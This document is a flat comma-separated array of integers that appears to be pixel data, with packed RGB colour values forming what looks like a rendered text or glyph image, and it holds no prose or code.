0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,6699578,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816080,11993087,16758374,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,102,11993087,11953664,0,58,9493503,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,0,14906,3816038,9493503,14389350,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,11953664,0,58,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6710842,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983871,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14399078,3815994,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3827382,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3816038,9493503,14389350,3815994,3801088,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16767926,9452032,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,0,3838171,16767888,3801088,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,102,11983871,16777215,16777215,14399078,0,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,0,0,0,0,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,3838171,16767888,3801190,11993087,14389306,14992,14417883,9452032,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,3838171,16777215,16777215,14408630,6699520,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,58,9493503,14389306,0,0,0,26294,16777179,11974399,16777179,9474230,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,6731519,16777215,16777215,16777142,6684672,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,14408630,6699520,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,3815994,6721755,16767888,6699578,3815994,3801088,0,102,11993087,11953664,0,102,11993087,11953664,0,58,9493503,16767888,6699578,3815994,3815994,0,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,102,11993087,16758374,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,26294,16767888,3801190,11983835,14389306,26294,16777142,6684672,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,58,9493503,14389306,0,0,0,26294,16777179,9452090,9493503,14389306,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,102,11993087,14389306,0,0,58,3815994,6721755,16777142,6684672,0,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,0,0,0,0,0,0,0,0,0,58,3815994,3816038,9483995,16777142,6684672,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,3838171,16777215,16777215,16777215,16777215,16777215,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,58,9493503,16767888,6699578,0,0,0,0,14992,14417883,9452032,0,0,3838171,16758374,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,26294,16777142,6699664,11964560,11974246,26294,16767888,3801088,102,11993087,14389306,0,58,9493503,14389306,0,0,0,58,3815994,3816080,14417883,9452032,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953722,3816038,9493503,16777142,6684672,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,14389306,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3816080,14417883,9452032,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,3838171,16767888,3801088,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,14992,14417846,6710966,11953766,11983760,6721755,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,16777215,16777215,16777215,11953664,0,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,3838171,16767888,3801088,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,3816080,11993087,16758374,0,14992,14417883,9452032,0,0,0,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,102,11993051,11974363,11953722,9493430,11974399,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,6731519,16767888,3801088,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,3838171,16767888,3801088,0,0,0,102,11993087,16758374,3815994,6721755,16777215,11953664,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,102,11993051,14408667,9452032,6731483,14408703,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,14906,3816038,9493503,14389350,3815994,3801088,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,26294,16777215,11953722,3815994,3815994,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,14992,14417919,11953664,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,58,9493467,11964474,0,0,0,0,58,6731483,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,3838171,16767888,3801088,0,0,0,0,26294,14417919,16777215,14389392,11983871,16777215,11953664,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,0,0,0,0,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,3838171,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,6731483,16777215,16777215,16758416,3801088,0,102,11983871,16777215,16777179,11964474,0,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,0,6731519,16777142,6684672,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,11953664,0,58,9493503,14389306,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,0,0,0,0,0,0,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,102,11993087,14389350,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0